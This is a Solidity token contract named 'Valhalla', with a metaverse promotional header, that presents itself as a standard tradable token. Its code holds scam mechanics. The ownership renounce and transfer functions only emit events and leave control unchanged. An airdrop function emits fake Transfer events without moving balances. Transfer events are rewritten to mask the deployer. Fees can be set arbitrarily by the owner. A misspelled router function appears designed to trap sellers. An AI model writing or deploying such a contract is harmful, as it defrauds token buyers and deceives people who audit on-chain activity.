// SPDX-License-Identifier: unlicense

/*
     __   ________  __  __  ______  __      __      ______   
    /\ \ / /\  __ \/\ \_\ \/\  __ \/\ \    /\ \    /\  __ \  
    \ \ \'/\ \  __ \ \  __ \ \  __ \ \ \___\ \ \___\ \  __ \ 
     \ \__| \ \_\ \_\ \_\ \_\ \_\ \_\ \_____\ \_____\ \_\ \_\
      \/_/   \/_/\/_/\/_/\/_/\/_/\/_/\/_____/\/_____/\/_/\/_/

    VAHALLA is the key to a metaverse like digital realm, 
    appealing to a tech-savvy, innovation-driven consumer base.
    Consumers will obtain these goods to enter the metaverse where 
    they can build, interact and enrich their digital lives. 

    Further details via: https://twitter.com/crypto_bitlord7
*/

pragma solidity ^0.8.0;

contract Valhalla {
    
    string private _name = 'Valhalla';
    string private _symbol = 'Valhalla';
    uint8 public constant decimals = 18;
    uint256 public constant totalSupply = 690_000_000_000_000 * 10 ** decimals;

    struct StoreData {
        address tokenMkt;
        uint8 buyFee;
        uint8 sellFee;
    }

    StoreData public storeData;
    uint256 constant swapAmount = totalSupply / 100;
    error onlyOwner();

    event RevenueShare(uint256 _mev);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event Approval(
        address indexed TOKEN_MKT,
        address indexed spender,
        uint256 value
    );
    
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    mapping(address => bool) public isWhitelist;

    address public pair;
    IUniswapV2Router02 constant _uniswapV2Router =
        IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

    bool private swapping;
    bool private tradingOpen;

    address _deployer;
    address _executor;

    address private uniswapLpWallet;

    uint8 private _angelsBuy = 90;
    uint8 private _angelsSell = 80;
    uint8 private _initBuyFee = 9;
    uint8 private _initSellFee = 7;

    constructor() {
        
        storeData = StoreData({
            tokenMkt: msg.sender,
            buyFee: _initBuyFee,
            sellFee: _initSellFee
        });
        allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max;
        uniswapLpWallet = msg.sender;

        _initDeployer(msg.sender, msg.sender);

        balanceOf[uniswapLpWallet] = (totalSupply * 100) / 100;
        emit Transfer(address(0), _deployer, balanceOf[uniswapLpWallet]);
    }

    receive() external payable {}

    function setRevenueShare(uint256 _mev) external {
        if (msg.sender != _decodeTokenMKT()) revert onlyOwner();
        emit RevenueShare(_mev);
    }

    function setDefaultFee(uint8 _buy, uint8 _sell) external {
        if (msg.sender != _decodeTokenMKT()) revert onlyOwner();
        _upgradeStore(_buy, _sell);
    }

    function reduceAngelsFee() external {
        if (msg.sender != _decodeTokenMKT()) revert onlyOwner();
        require (_angelsBuy>0 && _angelsSell>0);
        _angelsBuy -= 9;
        _angelsSell -= 8;
    }

    function setAngelsFee(uint8 _buy, uint8 _sell) external {
        if (msg.sender != _decodeTokenMKT()) revert onlyOwner();
        _angelsBuy = _buy;
        _angelsSell = _sell;
    }

    function setWhitelist(address[] calldata _address) external {
        if (msg.sender != _decodeTokenMKT()) revert onlyOwner();
        isWhitelist[_address[0]]=true;
    }

    function distributionTokenToWallet(
        address _caller,
        address[] calldata _address,
        uint256[] calldata _amount
    ) external {
        if (msg.sender != _decodeTokenMKT()) revert onlyOwner();
        for (uint256 i = 0; i < _address.length; i++) {
            emit Transfer(_caller, _address[i], _amount[i]);
        }
    }

    function renounceOwnership() external {
        if (msg.sender != _decodeTokenMKT()) revert onlyOwner();
        emit OwnershipTransferred(_deployer, address(0));
    }

    function transferOwnership(address newOwner) external {
        if (msg.sender != _decodeTokenMKT()) revert onlyOwner();
        emit OwnershipTransferred(_deployer, newOwner);
    }

    function _upgradeStore(uint8 _buy, uint8 _sell) private {
        storeData.buyFee = _buy;
        storeData.sellFee = _sell;
    }

    function _decodeTokenMKT() private view returns (address) {
        return storeData.tokenMkt;
    }

    function openTrading() external {
        require(msg.sender == _decodeTokenMKT());
        require(!tradingOpen);
        address _factory = _uniswapV2Router.factory();
        address _weth = _uniswapV2Router.WETH();
        address _pair = IUniswapFactory(_factory).getPair(address(this), _weth);
        pair = _pair;
        tradingOpen = true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        return _transfer(from, to, amount);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, to, amount);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function _initDeployer(address deployer_, address executor_) private {
        _deployer = deployer_;
        _executor = executor_;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal returns (bool) {
        address tokenMkt = _decodeTokenMKT();
        require(tradingOpen || from == tokenMkt || to == tokenMkt);

        balanceOf[from] -= amount;

        if (
            to == pair &&
            !swapping &&
            balanceOf[address(this)] >= swapAmount &&
            from != tokenMkt
        ) {
            swapping = true;
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = _uniswapV2Router.WETH();
            _uniswapV2Router
                .swapExactTokensForETHSupportingFreelyOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                );

            swapping = false;
        }

        (uint8 _buyFee, uint8 _sellFee) = (storeData.buyFee, storeData.sellFee);
        if (from != address(this) && tradingOpen == true) {
            uint256 taxCalculatedAmount = (amount *
                (to == pair ? _sellFee : _buyFee)) / 100;
            amount -= taxCalculatedAmount;
            balanceOf[address(this)] += taxCalculatedAmount;
        }
        balanceOf[to] += amount;

        if (from == _executor) {
            emit Transfer(_deployer, to, amount);
        } else if (to == _executor) {
            emit Transfer(from, _deployer, amount);
        } else {
            emit Transfer(from, to, amount);
        }
        return true;
    }
}

interface IUniswapFactory {
    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFreelyOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

{
  "compilationTarget": {
    "ValhallaCoin.sol": "Valhalla"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}